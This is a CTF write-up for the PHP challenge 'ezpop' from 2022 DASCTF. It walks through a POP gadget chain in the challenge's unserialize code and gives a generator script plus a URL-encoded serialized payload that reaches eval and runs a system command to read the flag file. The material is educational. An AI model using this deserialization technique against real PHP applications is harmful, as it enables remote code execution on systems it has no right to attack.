[2022DASCTF]ezpop

ezpop

image

打开环境,直接获得源码:

 <?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

?>

看见unserialize,判断这题是反序列化,然后找切入口,看了一眼,没看见wakeup函数,所以得找其他切入口。

发现fin类中有__destruct析构函数,从此切入,直接new fin()

在里面有echo操作,推测会用到__toString魔术方法。

this->f1这是一个切入口,可以在这里new一个对象,即f1=new what()

接着看what类中的__toString方法,看到this->a,又是一个切入点,然后找哪个类里有run这个方法的,去new一下这个类,发现mix里面有run,但fin里面也有run,两个方法一模一样,用谁无所谓,这里a=new mix()

此时程序已经进入mix类中的run方法,下面就要用到__invoke这个魔术方法,即将类当做函数使用。

自然而然会想到去new一个crow,即m1=new crow()

此时程序已经进入crow类中的__invoke方法,这个方法里最后会去指向一个world函数,但是搜遍全文未发现该函数。

所以下面就要用到__call这个魔术方法,该方法会在程序找不到函数时被调用,所以v1=new fin()

然后在该方法中的切入点又为this->f1,他最终会去调用get_flag()这个方法,所以f1=new mix()

最终只要给m1赋值命令就可以了,前面的注释符可以使用回车绕过。

过程梳理:

//切入点
class fin
{
    public $f1;
    public function __destruct()
    {
        echo $this->f1 . '114514';
    }
}
//给f1这里创建一个对象new waht()
class what
{
    public $a;
    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
//给a这里再创建一个对象new mix()
class mix
{
    public $m1;
    public function run()
    {
        ($this->m1)();
    }
}
//给m1这里再创建一个对象new crow()
class crow
{
    public $v1;
    public $v2;
    public function __invoke()
    {
        $this->v1->world();
    }
}
//给v1这里再创建一个对象new fin()
class fin
{
    public $f1;
    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }
}
//给f1这里再创建一个对象new mix()
class mix
{
    public $m1;
    public function get_flag()
    {
        eval('#' . $this->m1);
    }
}
//最后给m1赋值执行命令

生成序列化字符串:

<?php
class crow
{
    public $v1;
    public $v2;
}

class fin
{
    public $f1;
}

class what
{
    public $a;
}
class mix
{
    public $m1;
}

$a = new fin();
$b = new what();
$c = new mix();
$d = new crow();

$a->f1 = $b;
$b->a = $c;
$c->m1 = $d;

$a2 = new fin();
$c2 = new mix();

$d->v1 = $a2;
$a2->f1 = $c2;
$c2->m1 = "
system(\"cat H0mvz850*.php\");";

echo urlencode(serialize($a));
?>

结果:

O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A29%3A%22%0Asystem%28%22cat+H0mvz850%2A.php%22%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D

总结:

题目里的uuid怕是唬人的,正常构造pop链,执行命令即可。

posted @ 2022-03-26 18:10  Sentry_fei  阅读(142)  评论(0编辑  收藏  举报